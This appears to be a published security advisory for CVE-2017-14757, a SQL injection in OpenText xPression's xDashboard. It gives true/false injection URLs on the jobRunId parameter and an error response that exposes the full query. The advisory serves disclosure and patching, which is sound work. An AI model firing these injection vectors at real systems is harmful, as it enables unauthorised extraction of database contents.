62 lines
No EOL
1.9 KiB
Text
62 lines
No EOL
1.9 KiB
Text
Title: OpenText Document Sciences xPression (formerly EMC Document
|
|
Sciences xPression) - SQL Injection
|
|
Author: Marcin Woloszyn
|
|
Date: 27. September 2017
|
|
CVE: CVE-2017-14757
|
|
|
|
Affected Software:
|
|
==================
|
|
OpenText Document Sciences xPression (formerly EMC Document Sciences xPression)
|
|
|
|
Exploit was tested on:
|
|
======================
|
|
v4.5SP1 Patch 13 (older versions might be affected as well)
|
|
|
|
SQL Injection:
|
|
==============
|
|
|
|
Due to lack of prepared statements an application is prone to SQL
|
|
Injection attacks.
|
|
Potential attacker can retrieve data from application database by
|
|
exploiting the issue.
|
|
|
|
Vector :
|
|
--------
|
|
|
|
True: http://[...]/xDashboard/html/jobhistory/downloadSupportFile.action?jobRunId=1502642747222443244706554841153+and+1=1
|
|
False: http://[...]/xDashboard/html/jobhistory/downloadSupportFile.action?jobRunId=1502642747222443244706554841153+and+1=2
|
|
|
|
Additionally:
|
|
|
|
http://[...]/xDashboard/html/jobhistory/downloadSupportFile.action?jobRunId=1502642747222443244706554841153aaa
|
|
|
|
Results in the following error in response:
|
|
|
|
HTTP/1.1 200 OK
|
|
[...]
|
|
<b>Errors: </b>
|
|
|
|
See nested exception; nested exception is:
|
|
java.lang.RuntimeException:
|
|
com.dsc.uniarch.cr.error.CRException: CRReportingSL: Method
|
|
getJobRunsByIds did not succeed because of a database operation
|
|
failure.;
|
|
	---> nested com.dsc.uniarch.cr.error.CRSyntaxException:
|
|
Database syntax error :SELECT JOBRUN_ID, JOB_NAME,
|
|
PUBLISH_PROFILE, PUBLISH_TYPE, START_TIME, END_TIME, HAS_DISTRIBUTION,
|
|
DISTRIBUTION_NUMBER, STATUS, ERROR, REPORTING_LEVEL, THREAD_ID, JOB_ID
|
|
FROM T_JOBRUN WHERE
|
|
JOBRUN_ID=1502642747222443244706554841153aaa.;
|
|
	---> nested java.sql.SQLSyntaxErrorException:
|
|
ORA-00933: SQL command not properly ended
|
|
|
|
An attacker can see whole query and injection point. This can also be
|
|
used for error-based data extraction.
|
|
|
|
Fix:
|
|
====
|
|
https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774
|
|
|
|
Contact:
|
|
========
|
|
mw[at]nme[dot]pl |